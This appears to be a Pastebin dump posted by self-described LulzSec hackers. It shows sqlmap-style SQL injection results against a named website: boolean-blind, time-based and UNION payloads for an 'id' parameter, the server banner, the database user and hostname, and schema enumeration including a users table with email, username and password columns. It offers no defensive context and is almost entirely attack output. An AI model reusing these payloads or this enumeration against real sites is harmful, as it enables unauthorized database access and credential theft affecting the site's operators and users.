Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- .88888888:. .88888888:.
- 88888888.88888. 88888888.88888.
- .8888888888888888. Hacked By LulzSec: .8888888888888888.
- 888888888888888888 888888888888888888
- 88' _`88'_ `88888 88' _`88'_ `88888
- 88 88 88 88 88888 88 88 88 88 88888
- 88_88_::_88_:88888 Sensei, Marvin, Cixus, Tigre, Ace, Gakusei 88_88_::_88_:88888
- 88:::,::,:::::8888 88:::,::,:::::8888
- 88`:::::::::'`8888 88`:::::::::'`8888
- .88 `::::' 8:88. .88 `::::' 8:88.
- 8888 `8:888. 8888 `8:888.
- .8888' `888888. .8888' `888888.
- .8888:.. .::. ...:'8888888:. .8888:.. .::. ...:'8888888:.
- .8888.' :' `'::`88:88888 Penguins who waddle together... .8888.' :' `'::`88:88888
- .8888 ' `.888:8888. .8888 ' `.888:8888.
- 888:8 . 888:88888 888:8 . 888:88888
- .888:88 .: 888:88888: Will survive and thrive together... .888:88 .: 888:88888:
- 8888888. :: 88:888888 8888888. :: 88:888888
- `.::.888. :: .88888888 `.::.888. :: .88888888
- .::::::.888. :: :::`8888'.:. .::::::.888. :: :::`8888'.:.
- ::::::::::.888 ' .:::::::::::: ::::::::::.888 ' .::::::::::::
- ::::::::::::.8 ' .:8::::::::::::. ::::::::::::.8 ' .:8::::::::::::.
- .::::::::::::::. .:888::::::::::::: .::::::::::::::. .:888:::::::::::::
- :::::::::::::::88:.__..:88888:::::::::::' :::::::::::::::88:.__..:88888:::::::::::'
- `'.:::::::::::88888888888.88:::::::::' `'.:::::::::::88888888888.88:::::::::'
- `':::_:' -- '' -'-' `':_::::'` `':::_:' -- '' -'-' `':_::::'`
- ________________________________________________________________________________________________________________________
- www.nusantara.rs
- Parameter: id (GET)
- Type: boolean-based blind
- Title: AND boolean-based blind - WHERE or HAVING clause
- Payload: id=99 AND 3051=3051
- Vector: AND [INFERENCE]
- Type: AND/OR time-based blind
- Title: MySQL >= 5.0.12 AND time-based blind
- Payload: id=99 AND SLEEP(2)
- Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
- Type: UNION query
- Title: Generic UNION query (NULL) - 4 columns
- Payload: id=-7077 UNION ALL SELECT NULL,CONCAT(0x717a767a71,0x6f45765470616963594e6d6d796470756c764d6e6b6c4653616e78766461504f76524c6c61584366,0x7162767071),NULL,NULL-- hovp
- Vector: UNION ALL SELECT NULL,[QUERY],NULL,NULL[GENERIC_SQL_COMMENT]
- ---
- web application technology: Apache
- back-end DBMS: MySQL > 5.0.11
- banner: '5.7.22-percona-sure1-log'
- current user: 'nusantara@localhost'
- current database: 'nusantara_vesti'
- hostname: 'server278.com'
- current user is DBA: False
- database management system users [1]:
- [*] 'nusantara'@'localhost'
- database management system users privileges:
- [*] 'nusantara'@'localhost' [1]:
- privilege: USAGE
- database management system users roles:
- [*] 'nusantara'@'localhost' [1]:
- role: USAGE
- Database: nusantara_vesti
- [4 tables]
- +---------------------------------------+
- | userlevelpermissions |
- | userlevels |
- | users |
- | vest |
- +---------------------------------------+
- Database: information_schema
- [74 tables]
- +---------------------------------------+
- | CHARACTER_SETS |
- | CLIENT_STATISTICS |
- | COLLATIONS |
- | COLLATION_CHARACTER_SET_APPLICABILITY |
- | COLUMNS |
- | COLUMN_PRIVILEGES |
- | ENGINES |
- | EVENTS |
- | FILES |
- | GLOBAL_STATUS |
- | GLOBAL_TEMPORARY_TABLES |
- | GLOBAL_VARIABLES |
- | INDEX_STATISTICS |
- | INNODB_BUFFER_PAGE |
- | INNODB_BUFFER_PAGE_LRU |
- | INNODB_BUFFER_POOL_STATS |
- | INNODB_CHANGED_PAGES |
- | INNODB_CMP |
- | INNODB_CMPMEM |
- | INNODB_CMPMEM_RESET |
- | INNODB_CMP_PER_INDEX |
- | INNODB_CMP_PER_INDEX_RESET |
- | INNODB_CMP_RESET |
- | INNODB_FT_BEING_DELETED |
- | INNODB_FT_CONFIG |
- | INNODB_FT_DEFAULT_STOPWORD |
- | INNODB_FT_DELETED |
- | INNODB_FT_INDEX_CACHE |
- | INNODB_FT_INDEX_TABLE |
- | INNODB_LOCKS |
- | INNODB_LOCK_WAITS |
- | INNODB_METRICS |
- | INNODB_SYS_COLUMNS |
- | INNODB_SYS_DATAFILES |
- | INNODB_SYS_FIELDS |
- | INNODB_SYS_FOREIGN |
- | INNODB_SYS_FOREIGN_COLS |
- | INNODB_SYS_INDEXES |
- | INNODB_SYS_TABLES |
- | INNODB_SYS_TABLESPACES |
- | INNODB_SYS_TABLESTATS |
- | INNODB_SYS_VIRTUAL |
- | INNODB_TEMP_TABLE_INFO |
- | INNODB_TRX |
- | KEY_COLUMN_USAGE |
- | OPTIMIZER_TRACE |
- | PARAMETERS |
- | PARTITIONS |
- | PLUGINS |
- | PROCESSLIST |
- | PROFILING |
- | REFERENTIAL_CONSTRAINTS |
- | ROUTINES |
- | SCHEMATA |
- | SCHEMA_PRIVILEGES |
- | SESSION_STATUS |
- | SESSION_VARIABLES |
- | STATISTICS |
- | TABLES |
- | TABLESPACES |
- | TABLE_CONSTRAINTS |
- | TABLE_PRIVILEGES |
- | TABLE_STATISTICS |
- | TEMPORARY_TABLES |
- | THREAD_STATISTICS |
- | TRIGGERS |
- | USER_PRIVILEGES |
- | USER_STATISTICS |
- | VIEWS |
- | XTRADB_INTERNAL_HASH_TABLES |
- | XTRADB_READ_VIEW |
- | XTRADB_RSEG |
- | XTRADB_ZIP_DICT |
- | XTRADB_ZIP_DICT_COLS |
- +---------------------------------------+
- Database: nusantara_vesti
- Table: userlevels
- [2 columns]
- +---------------+-------------+
- | Column | Type |
- +---------------+-------------+
- | UserLevelID | int(11) |
- | UserLevelName | varchar(50) |
- +---------------+-------------+
- Database: nusantara_vesti
- Table: userlevelpermissions
- [3 columns]
- +---------------------+-------------+
- | Column | Type |
- +---------------------+-------------+
- | UserLevelID | int(11) |
- | UserLevelPermission | int(11) |
- | UserLevelTableName | varchar(50) |
- +---------------------+-------------+
- Database: nusantara_vesti
- Table: users
- [7 columns]
- +-----------+--------------+
- | Column | Type |
- +-----------+--------------+
- | Email | varchar(50) |
- | IDU | int(11) |
- | Ime | varchar(255) |
- | Password | varchar(16) |
- | Prezime | varchar(255) |
- | UserLevel | int(11) |
- | Username | varchar(15) |
- +-----------+--------------+
- Database: nusantara_vesti
- Table: vest
- [8 columns]
- +-----------+--------------+
- | Column | Type |
- +-----------+--------------+
- | DateStamp | timestamp |
- | DatumV | date |
- | IDV | int(11) |
- | NaslovE | varchar(200) |
- | NaslovS | varchar(200) |
- | VaziV | tinyint(4) |
- | VestE | text |
- | VestS | text |
- +-----------+--------------+
- Database: information_schema
- Table: TABLESPACES
- [9 columns]
- +--------------------+---------------------+
- | Column | Type |
- +--------------------+---------------------+
- | AUTOEXTEND_SIZE | bigint(21) unsigned |
- | ENGINE | varchar(64) |
- | EXTENT_SIZE | bigint(21) unsigned |
- | LOGFILE_GROUP_NAME | varchar(64) |
- | MAXIMUM_SIZE | bigint(21) unsigned |
- | NODEGROUP_ID | bigint(21) unsigned |
- | TABLESPACE_COMMENT | varchar(2048) |
- | TABLESPACE_NAME | varchar(64) |
- | TABLESPACE_TYPE | varchar(64) |
- +--------------------+---------------------+
- Database: information_schema
- Table: ROUTINES
- [31 columns]
- +--------------------------+---------------------+
- | Column | Type |
- +--------------------------+---------------------+
- | CHARACTER_MAXIMUM_LENGTH | int(21) |
- | CHARACTER_OCTET_LENGTH | int(21) |
- | CHARACTER_SET_CLIENT | varchar(32) |
- | CHARACTER_SET_NAME | varchar(64) |
- | COLLATION_CONNECTION | varchar(32) |
- | COLLATION_NAME | varchar(64) |
- | CREATED | datetime |
- | DATA_TYPE | varchar(64) |
- | DATABASE_COLLATION | varchar(32) |
- | DATETIME_PRECISION | bigint(21) unsigned |
- | DEFINER | varchar(93) |
- | DTD_IDENTIFIER | longtext |
- | EXTERNAL_LANGUAGE | varchar(64) |
- | EXTERNAL_NAME | varchar(64) |
- | IS_DETERMINISTIC | varchar(3) |
- | LAST_ALTERED | datetime |
- | NUMERIC_PRECISION | bigint(21) unsigned |
- | NUMERIC_SCALE | int(21) |
- | PARAMETER_STYLE | varchar(8) |
- | ROUTINE_BODY | varchar(8) |
- | ROUTINE_CATALOG | varchar(512) |
- | ROUTINE_COMMENT | longtext |
- | ROUTINE_DEFINITION | longtext |
- | ROUTINE_NAME | varchar(64) |
- | ROUTINE_SCHEMA | varchar(64) |
- | ROUTINE_TYPE | varchar(9) |
- | SECURITY_TYPE | varchar(7) |
- | SPECIFIC_NAME | varchar(64) |
- | SQL_DATA_ACCESS | varchar(64) |
- | SQL_MODE | varchar(8192) |
- | SQL_PATH | varchar(64) |
- +--------------------------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_INDEXES
- [8 columns]
- +-----------------+---------------------+
- | Column | Type |
- +-----------------+---------------------+
- | SPACE | int(11) |
- | INDEX_ID | bigint(21) unsigned |
- | MERGE_THRESHOLD | int(11) |
- | N_FIELDS | int(11) |
- | NAME | varchar(193) |
- | PAGE_NO | int(11) |
- | TABLE_ID | bigint(21) unsigned |
- | TYPE | int(11) |
- +-----------------+---------------------+
- Database: information_schema
- Table: INNODB_LOCKS
- [10 columns]
- +-------------+---------------------+
- | Column | Type |
- +-------------+---------------------+
- | lock_data | varchar(8192) |
- | lock_id | varchar(81) |
- | lock_index | varchar(1024) |
- | lock_mode | varchar(32) |
- | lock_page | bigint(21) unsigned |
- | lock_rec | bigint(21) unsigned |
- | lock_space | bigint(21) unsigned |
- | lock_table | varchar(1024) |
- | lock_trx_id | varchar(18) |
- | lock_type | varchar(32) |
- +-------------+---------------------+
- Database: information_schema
- Table: INNODB_SYS_FOREIGN
- [5 columns]
- +----------+------------------+
- | Column | Type |
- +----------+------------------+
- | FOR_NAME | varchar(193) |
- | ID | varchar(193) |
- | N_COLS | int(11) unsigned |
- | REF_NAME | varchar(193) |
- | TYPE | int(11) unsigned |
- +----------+------------------+
- Database: information_schema
- Table: INNODB_FT_BEING_DELETED
- [1 column]
- +--------+---------------------+
- | Column | Type |
- +--------+---------------------+
- | DOC_ID | bigint(21) unsigned |
- +--------+---------------------+
- Database: information_schema
- Table: COLUMN_PRIVILEGES
- [7 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | COLUMN_NAME | varchar(64) |
- | GRANTEE | varchar(81) |
- | IS_GRANTABLE | varchar(3) |
- | PRIVILEGE_TYPE | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +----------------+--------------+
- Database: information_schema
- Table: INNODB_SYS_COLUMNS
- [6 columns]
- +----------+---------------------+
- | Column | Type |
- +----------+---------------------+
- | LEN | int(11) |
- | MTYPE | int(11) |
- | NAME | varchar(193) |
- | POS | bigint(21) unsigned |
- | PRTYPE | int(11) |
- | TABLE_ID | bigint(21) unsigned |
- +----------+---------------------+
- Database: information_schema
- Table: INNODB_CMP_PER_INDEX_RESET
- [8 columns]
- +-----------------+--------------+
- | Column | Type |
- +-----------------+--------------+
- | compress_ops | int(11) |
- | compress_ops_ok | int(11) |
- | compress_time | int(11) |
- | database_name | varchar(192) |
- | index_name | varchar(192) |
- | table_name | varchar(192) |
- | uncompress_ops | int(11) |
- | uncompress_time | int(11) |
- +-----------------+--------------+
- Database: information_schema
- Table: INNODB_SYS_FOREIGN_COLS
- [4 columns]
- +--------------+------------------+
- | Column | Type |
- +--------------+------------------+
- | FOR_COL_NAME | varchar(193) |
- | ID | varchar(193) |
- | POS | int(11) unsigned |
- | REF_COL_NAME | varchar(193) |
- +--------------+------------------+
- Database: information_schema
- Table: GLOBAL_VARIABLES
- [2 columns]
- +----------------+---------------+
- | Column | Type |
- +----------------+---------------+
- | VARIABLE_NAME | varchar(64) |
- | VARIABLE_VALUE | varchar(1024) |
- +----------------+---------------+
- Database: information_schema
- Table: INNODB_BUFFER_POOL_STATS
- [32 columns]
- +----------------------------------+---------------------+
- | Column | Type |
- +----------------------------------+---------------------+
- | DATABASE_PAGES | bigint(21) unsigned |
- | FREE_BUFFERS | bigint(21) unsigned |
- | HIT_RATE | bigint(21) unsigned |
- | LRU_IO_CURRENT | bigint(21) unsigned |
- | LRU_IO_TOTAL | bigint(21) unsigned |
- | MODIFIED_DATABASE_PAGES | bigint(21) unsigned |
- | NOT_YOUNG_MAKE_PER_THOUSAND_GETS | bigint(21) unsigned |
- | NUMBER_PAGES_CREATED | bigint(21) unsigned |
- | NUMBER_PAGES_GET | bigint(21) unsigned |
- | NUMBER_PAGES_READ | bigint(21) unsigned |
- | NUMBER_PAGES_READ_AHEAD | bigint(21) unsigned |
- | NUMBER_PAGES_WRITTEN | bigint(21) unsigned |
- | NUMBER_READ_AHEAD_EVICTED | bigint(21) unsigned |
- | OLD_DATABASE_PAGES | bigint(21) unsigned |
- | PAGES_CREATE_RATE | double |
- | PAGES_MADE_NOT_YOUNG_RATE | double |
- | PAGES_MADE_YOUNG | bigint(21) unsigned |
- | PAGES_MADE_YOUNG_RATE | double |
- | PAGES_NOT_MADE_YOUNG | bigint(21) unsigned |
- | PAGES_READ_RATE | double |
- | PAGES_WRITTEN_RATE | double |
- | PENDING_DECOMPRESS | bigint(21) unsigned |
- | PENDING_FLUSH_LIST | bigint(21) unsigned |
- | PENDING_FLUSH_LRU | bigint(21) unsigned |
- | PENDING_READS | bigint(21) unsigned |
- | POOL_ID | bigint(21) unsigned |
- | POOL_SIZE | bigint(21) unsigned |
- | READ_AHEAD_EVICTED_RATE | double |
- | READ_AHEAD_RATE | double |
- | UNCOMPRESS_CURRENT | bigint(21) unsigned |
- | UNCOMPRESS_TOTAL | bigint(21) unsigned |
- | YOUNG_MAKE_PER_THOUSAND_GETS | bigint(21) unsigned |
- +----------------------------------+---------------------+
- Database: information_schema
- Table: INNODB_METRICS
- [17 columns]
- +-----------------+--------------+
- | Column | Type |
- +-----------------+--------------+
- | COUNT | bigint(21) |
- | AVG_COUNT | double |
- | AVG_COUNT_RESET | double |
- | COMMENT | varchar(193) |
- | COUNT_RESET | bigint(21) |
- | MAX_COUNT | bigint(21) |
- | MAX_COUNT_RESET | bigint(21) |
- | MIN_COUNT | bigint(21) |
- | MIN_COUNT_RESET | bigint(21) |
- | NAME | varchar(193) |
- | STATUS | varchar(193) |
- | SUBSYSTEM | varchar(193) |
- | TIME_DISABLED | datetime |
- | TIME_ELAPSED | bigint(21) |
- | TIME_ENABLED | datetime |
- | TIME_RESET | datetime |
- | TYPE | varchar(193) |
- +-----------------+--------------+
- Database: information_schema
- Table: PARTITIONS
- [25 columns]
- +-------------------------------+---------------------+
- | Column | Type |
- +-------------------------------+---------------------+
- | AVG_ROW_LENGTH | bigint(21) unsigned |
- | CHECK_TIME | datetime |
- | CHECKSUM | bigint(21) unsigned |
- | CREATE_TIME | datetime |
- | DATA_FREE | bigint(21) unsigned |
- | DATA_LENGTH | bigint(21) unsigned |
- | INDEX_LENGTH | bigint(21) unsigned |
- | MAX_DATA_LENGTH | bigint(21) unsigned |
- | NODEGROUP | varchar(12) |
- | PARTITION_COMMENT | varchar(80) |
- | PARTITION_DESCRIPTION | longtext |
- | PARTITION_EXPRESSION | longtext |
- | PARTITION_METHOD | varchar(18) |
- | PARTITION_NAME | varchar(64) |
- | PARTITION_ORDINAL_POSITION | bigint(21) unsigned |
- | SUBPARTITION_EXPRESSION | longtext |
- | SUBPARTITION_METHOD | varchar(12) |
- | SUBPARTITION_NAME | varchar(64) |
- | SUBPARTITION_ORDINAL_POSITION | bigint(21) unsigned |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_ROWS | bigint(21) unsigned |
- | TABLE_SCHEMA | varchar(64) |
- | TABLESPACE_NAME | varchar(64) |
- | UPDATE_TIME | datetime |
- +-------------------------------+---------------------+
- Database: information_schema
- Table: INNODB_FT_INDEX_CACHE
- [6 columns]
- +--------------+---------------------+
- | Column | Type |
- +--------------+---------------------+
- | POSITION | bigint(21) unsigned |
- | DOC_COUNT | bigint(21) unsigned |
- | DOC_ID | bigint(21) unsigned |
- | FIRST_DOC_ID | bigint(21) unsigned |
- | LAST_DOC_ID | bigint(21) unsigned |
- | WORD | varchar(337) |
- +--------------+---------------------+
- Database: information_schema
- Table: INDEX_STATISTICS
- [4 columns]
- +--------------+---------------------+
- | Column | Type |
- +--------------+---------------------+
- | INDEX_NAME | varchar(192) |
- | ROWS_READ | bigint(21) unsigned |
- | TABLE_NAME | varchar(192) |
- | TABLE_SCHEMA | varchar(192) |
- +--------------+---------------------+
- Database: information_schema
- Table: USER_PRIVILEGES
- [4 columns]
- +----------------+--------------+
- | Column | Type |
- +----------------+--------------+
- | GRANTEE | varchar(81) |
- | IS_GRANTABLE | varchar(3) |
- | PRIVILEGE_TYPE | varchar(64) |
- | TABLE_CATALOG | varchar(512) |
- +----------------+--------------+
- Database: information_schema
- Table: OPTIMIZER_TRACE
- [4 columns]
- +-----------------------------------+------------+
- | Column | Type |
- +-----------------------------------+------------+
- | INSUFFICIENT_PRIVILEGES | tinyint(1) |
- | MISSING_BYTES_BEYOND_MAX_MEM_SIZE | int(20) |
- | QUERY | longtext |
- | TRACE | longtext |
- +-----------------------------------+------------+
- Database: information_schema
- Table: ENGINES
- [6 columns]
- +--------------+-------------+
- | Column | Type |
- +--------------+-------------+
- | COMMENT | varchar(80) |
- | ENGINE | varchar(64) |
- | SAVEPOINTS | varchar(3) |
- | SUPPORT | varchar(8) |
- | TRANSACTIONS | varchar(3) |
- | XA | varchar(3) |
- +--------------+-------------+
- Database: information_schema
- Table: PARAMETERS
- [16 columns]
- +--------------------------+---------------------+
- | Column | Type |
- +--------------------------+---------------------+
- | CHARACTER_MAXIMUM_LENGTH | int(21) |
- | CHARACTER_OCTET_LENGTH | int(21) |
- | CHARACTER_SET_NAME | varchar(64) |
- | COLLATION_NAME | varchar(64) |
- | DATA_TYPE | varchar(64) |
- | DATETIME_PRECISION | bigint(21) unsigned |
- | DTD_IDENTIFIER | longtext |
- | NUMERIC_PRECISION | bigint(21) unsigned |
- | NUMERIC_SCALE | int(21) |
- | ORDINAL_POSITION | int(21) |
- | PARAMETER_MODE | varchar(5) |
- | PARAMETER_NAME | varchar(64) |
- | ROUTINE_TYPE | varchar(9) |
- | SPECIFIC_CATALOG | varchar(512) |
- | SPECIFIC_NAME | varchar(64) |
- | SPECIFIC_SCHEMA | varchar(64) |
- +--------------------------+---------------------+
- Database: information_schema
- Table: SESSION_STATUS
- [2 columns]
- +----------------+---------------+
- | Column | Type |
- +----------------+---------------+
- | VARIABLE_NAME | varchar(64) |
- | VARIABLE_VALUE | varchar(1024) |
- +----------------+---------------+
- Database: information_schema
- Table: COLLATION_CHARACTER_SET_APPLICABILITY
- [2 columns]
- +--------------------+-------------+
- | Column | Type |
- +--------------------+-------------+
- | CHARACTER_SET_NAME | varchar(32) |
- | COLLATION_NAME | varchar(32) |
- +--------------------+-------------+
- Database: information_schema
- Table: TABLE_CONSTRAINTS
- [6 columns]
- +--------------------+--------------+
- | Column | Type |
- +--------------------+--------------+
- | CONSTRAINT_CATALOG | varchar(512) |
- | CONSTRAINT_NAME | varchar(64) |
- | CONSTRAINT_SCHEMA | varchar(64) |
- | CONSTRAINT_TYPE | varchar(64) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +--------------------+--------------+
- Database: information_schema
- Table: CHARACTER_SETS
- [4 columns]
- +----------------------+-------------+
- | Column | Type |
- +----------------------+-------------+
- | CHARACTER_SET_NAME | varchar(32) |
- | DEFAULT_COLLATE_NAME | varchar(32) |
- | DESCRIPTION | varchar(60) |
- | MAXLEN | bigint(3) |
- +----------------------+-------------+
- Database: information_schema
- Table: INNODB_SYS_VIRTUAL
- [3 columns]
- +----------+---------------------+
- | Column | Type |
- +----------+---------------------+
- | BASE_POS | int(11) unsigned |
- | POS | int(11) unsigned |
- | TABLE_ID | bigint(21) unsigned |
- +----------+---------------------+
- Database: information_schema
- Table: XTRADB_INTERNAL_HASH_TABLES
- [4 columns]
- +--------------------------+---------------------+
- | Column | Type |
- +--------------------------+---------------------+
- | CONSTANT_MEMORY | bigint(21) unsigned |
- | INTERNAL_HASH_TABLE_NAME | varchar(100) |
- | TOTAL_MEMORY | bigint(21) unsigned |
- | VARIABLE_MEMORY | bigint(21) unsigned |
- +--------------------------+---------------------+
- Database: information_schema
- Table: INNODB_CMP_PER_INDEX
- [8 columns]
- +-----------------+--------------+
- | Column | Type |
- +-----------------+--------------+
- | compress_ops | int(11) |
- | compress_ops_ok | int(11) |
- | compress_time | int(11) |
- | database_name | varchar(192) |
- | index_name | varchar(192) |
- | table_name | varchar(192) |
- | uncompress_ops | int(11) |
- | uncompress_time | int(11) |
- +-----------------+--------------+
- Database: information_schema
- Table: INNODB_BUFFER_PAGE_LRU
- [20 columns]
- +---------------------+---------------------+
- | Column | Type |
- +---------------------+---------------------+
- | SPACE | bigint(21) unsigned |
- | ACCESS_TIME | bigint(21) unsigned |
- | COMPRESSED | varchar(3) |
- | COMPRESSED_SIZE | bigint(21) unsigned |
- | DATA_SIZE | bigint(21) unsigned |
- | FIX_COUNT | bigint(21) unsigned |
- | FLUSH_TYPE | bigint(21) unsigned |
- | FREE_PAGE_CLOCK | bigint(21) unsigned |
- | INDEX_NAME | varchar(1024) |
- | IO_FIX | varchar(64) |
- | IS_HASHED | varchar(3) |
- | IS_OLD | varchar(3) |
- | LRU_POSITION | bigint(21) unsigned |
- | NEWEST_MODIFICATION | bigint(21) unsigned |
- | NUMBER_RECORDS | bigint(21) unsigned |
- | OLDEST_MODIFICATION | bigint(21) unsigned |
- | PAGE_NUMBER | bigint(21) unsigned |
- | PAGE_TYPE | varchar(64) |
- | POOL_ID | bigint(21) unsigned |
- | TABLE_NAME | varchar(1024) |
- +---------------------+---------------------+
- Database: information_schema
- Table: SCHEMATA
- [5 columns]
- +----------------------------+--------------+
- | Column | Type |
- +----------------------------+--------------+
- | CATALOG_NAME | varchar(512) |
- | DEFAULT_CHARACTER_SET_NAME | varchar(32) |
- | DEFAULT_COLLATION_NAME | varchar(32) |
- | SCHEMA_NAME | varchar(64) |
- | SQL_PATH | varchar(512) |
- +----------------------------+--------------+
- Database: information_schema
- Table: COLUMNS
- [21 columns]
- +--------------------------+---------------------+
- | Column | Type |
- +--------------------------+---------------------+
- | PRIVILEGES | varchar(80) |
- | CHARACTER_MAXIMUM_LENGTH | bigint(21) unsigned |
- | CHARACTER_OCTET_LENGTH | bigint(21) unsigned |
- | CHARACTER_SET_NAME | varchar(32) |
- | COLLATION_NAME | varchar(32) |
- | COLUMN_COMMENT | varchar(1024) |
- | COLUMN_DEFAULT | longtext |
- | COLUMN_KEY | varchar(3) |
- | COLUMN_NAME | varchar(64) |
- | COLUMN_TYPE | longtext |
- | DATA_TYPE | varchar(64) |
- | DATETIME_PRECISION | bigint(21) unsigned |
- | EXTRA | varchar(30) |
- | GENERATION_EXPRESSION | longtext |
- | IS_NULLABLE | varchar(3) |
- | NUMERIC_PRECISION | bigint(21) unsigned |
- | NUMERIC_SCALE | bigint(21) unsigned |
- | ORDINAL_POSITION | bigint(21) unsigned |
- | TABLE_CATALOG | varchar(512) |
- | TABLE_NAME | varchar(64) |
- | TABLE_SCHEMA | varchar(64) |
- +--------------------------+---------------------+
- Database: information_schema
- Table: PLUGINS
- [11 columns]
- +------------------------+-------------+
- | Column | Type |
- +------------------------+-------------+
- | LOAD_OPTION | varchar(64) |
- | PLUGIN_AUTHOR | varchar(64) |
- | PLUGIN_DESCRIPTION | longtext |
- | PLUGIN_LIBRARY | varchar(64) |
- | PLUGIN_LIBRARY_VERSION | varchar(20) |
- | PLUGIN_LICENSE | varchar(80) |
- | PLUGIN_NAME | varchar(64) |
- | PLUGIN_STATUS | varchar(10) |
- | PLUGIN_TYPE | varchar(80) |
- | PLUGIN_TYPE_VERSION | varchar(20) |
- | PLUGIN_VERSION | varchar(20) |
- +------------------------+-------------+
- Database: information_schema
- Table: CLIENT_STATISTICS
- [22 columns]
- +------------------------+---------------------+
- | Column | Type |
- +------------------------+---------------------+
- | ACCESS_DENIED | bigint(21) unsigned |
- | BINLOG_BYTES_WRITTEN | bigint(21) unsigned |
- | BUSY_TIME | bigint(21) unsigned |
- | BYTES_RECEIVED | bigint(21) unsigned |
- | BYTES_SENT | bigint(21) unsigned |
- | CLIENT | varchar(64) |
- | COMMIT_TRANSACTIONS | bigint(21) unsigned |
- | CONCURRENT_CONNECTIONS | bigint(21) unsigned |
- | CONNECTED_TIME | bigint(21) unsigned |
- | CPU_TIME | bigint(21) unsigned |
- | DENIED_CONNECTIONS | bigint(21) unsigned |
- | EMPTY_QUERIES | bigint(21) unsigned |
- | LOST_CONNECTIONS | bigint(21) unsigned |
- | OTHER_COMMANDS | bigint(21) unsigned |
- | ROLLBACK_TRANSACTIONS | bigint(21) unsigned |
- | ROWS_FETCHED | bigint(21) unsigned |
- | ROWS_UPDATED | bigint(21) unsigned |
- | SELECT_COMMANDS | bigint(21) unsigned |
- | TABLE_ROWS_READ | bigint(21) unsigned |
- | TOTAL_CONNECTIONS | bigint(21) unsigned |
- | TOTAL_SSL_CONNECTIONS | bigint(21) unsigned |
- | UPDATE_COMMANDS | bigint(21) unsigned |
- +------------------------+---------------------+
- Database: information_schema
- Table: INNODB_TEMP_TABLE_INFO
- [6 columns]
- +----------------------+---------------------+
- | Column | Type |
- +----------------------+---------------------+
- | SPACE | int(11) unsigned |
- | IS_COMPRESSED | varchar(64) |
- | N_COLS | int(11) unsigned |
- | NAME | varchar(202) |
- | PER_TABLE_TABLESPACE | varchar(64) |
- | TABLE_ID | bigint(21) unsigned |
- +----------------------+---------------------+
- Database: information_schema
- Table: INNODB_FT_INDEX_TABLE
- [6 columns]
- +--------------+---------------------+
- | Column | Type |
- +--------------+---------------------+
- | POSITION | bigint(21) unsigned |
- | DOC_COUNT | bigint(21) unsigned |
- | DOC_ID | bigint(21) unsigned |
- | FIRST_DOC_ID | bigint(21) unsigned |
- | LAST_DOC_ID | bigint(21) unsigned |
- | WORD | varchar(337) |
- +--------------+---------------------+
- Database: information_schema
- Table: INNODB_CMPMEM
- [6 columns]
- +----------------------+------------+
- | Column | Type |
- +----------------------+------------+
- | buffer_pool_instance | int(11) |
- | page_size | int(5) |
- | pages_free | int(11) |
- | pages_used | int(11) |
- | relocation_ops | bigint(21) |
- | relocation_time | int(11) |
- +----------------------+------------+
- Database: information_schema
- Table: EVENTS
- [24 columns]
- +----------------------+---------------+
- | Column | Type |
- +----------------------+---------------+
- | CHARACTER_SET_CLIENT | varchar(32) |
- | COLLATION_CONNECTION | varchar(32) |
- | CREATED | datetime |
- | DATABASE_COLLATION | varchar(32) |
- | DEFINER | varchar(93) |
- | ENDS | datetime |
- | EVENT_BODY | varchar(8) |
- | EVENT_CATALOG | varchar(64) |
- | EVENT_COMMENT | varchar(64) |
- | EVENT_DEFINITION | longtext |
- | EVENT_NAME | varchar(64) |
- | EVENT_SCHEMA | varchar(64) |
- | EVENT_TYPE | varchar(9) |
- | EXECUTE_AT | datetime |
- | INTERVAL_FIELD | varchar(18) |
- | INTERVAL_VALUE | varchar(256) |
- | LAST_ALTERED | datetime |
- | LAST_EXECUTED | datetime |
- | ON_COMPLETION | varchar(12) |
- | ORIGINATOR | bigint(10) |
- | SQL_MODE | varchar(8192) |
- | STARTS | datetime |
- | STATUS | varchar(18) |
- | TIME_ZONE | varchar(64) |
- +----------------------+---------------+
- Database: information_schema
- Table: FILES
- [38 columns]
- +----------------------+---------------------+
- | Column | Type |
- +----------------------+---------------------+
- | VERSION | bigint(21) unsigned |
- | AUTOEXTEND_SIZE | bigint(21) unsigned |
- | AVG_ROW_LENGTH | bigint(21) unsigned |
- | CHECK_TIME | datetime |
- | CHECKSUM | bigint(21) unsigned |
- | CREATE_TIME | datetime |
- | CREATION_TIME | datetime |
- | DATA_FREE | bigint(21) unsigned |
- | DATA_LENGTH | bigint(21) unsigned |
- | DELETED_ROWS | bigint(4) |
- | ENGINE | varchar(64) |
- | EXTENT_SIZE | bigint(4) |
- | EXTRA | varchar(255) |
- | FILE_ID | bigint(4) |
- | FILE_NAME | varchar(4000) |
- | FILE_TYPE | varchar(20) |
- | FREE_EXTENTS | bigint(4) |
- | FULLTEXT_KEYS | varchar(64) |
- | INDEX_LENGTH | bigint(21) unsigned |
- | INITIAL_SIZE | bigint(21) unsigned |
- | LAST_ACCESS_TIME | datetime |
- | LAST_UPDATE_TIME | datetime |
- | LOGFILE_GROUP_NAME | varchar(64) |
- | LOGFILE_GROUP_NUMBER | bigint(4) |
- | MAX_DATA_LENGTH | bigint(21) unsigned |
- | MAXIMUM_SIZE | bigint(21) unsigned |
- | RECOVER_TIME | bigint(4) |
- | ROW_FORMAT | varchar(20) |
- | STATUS | varchar(20) |
- | TABLE_CATALOG | varchar(64) |
- | TABLE_NAME | varchar(64) |
- | TABLE_ROWS | bigint(21) unsigned |
- | TABLE_SCHEMA | varchar(64) |
- | TABLESPACE_NAME | varchar(64) |
- | TOTAL_EXTENTS | bigint(4) |
- | TRANSACTION_COUNTER | bigint(4) |
- | UPDATE_COUNT | bigint(4) |
- | UPDATE_TIME | datetime |
- +----------------------+---------------------+
- Database: information_schema
- Table: USER_STATISTICS
- [22 columns]
- +------------------------+---------------------+
- | Column | Type |
- +------------------------+---------------------+
- | USER | varchar(96) |
- | ACCESS_DENIED | bigint(21) unsigned |
- | BINLOG_BYTES_WRITTEN | bigint(21) unsigned |
- | BUSY_TIME | bigint(21) unsigned |
- | BYTES_RECEIVED | bigint(21) unsigned |
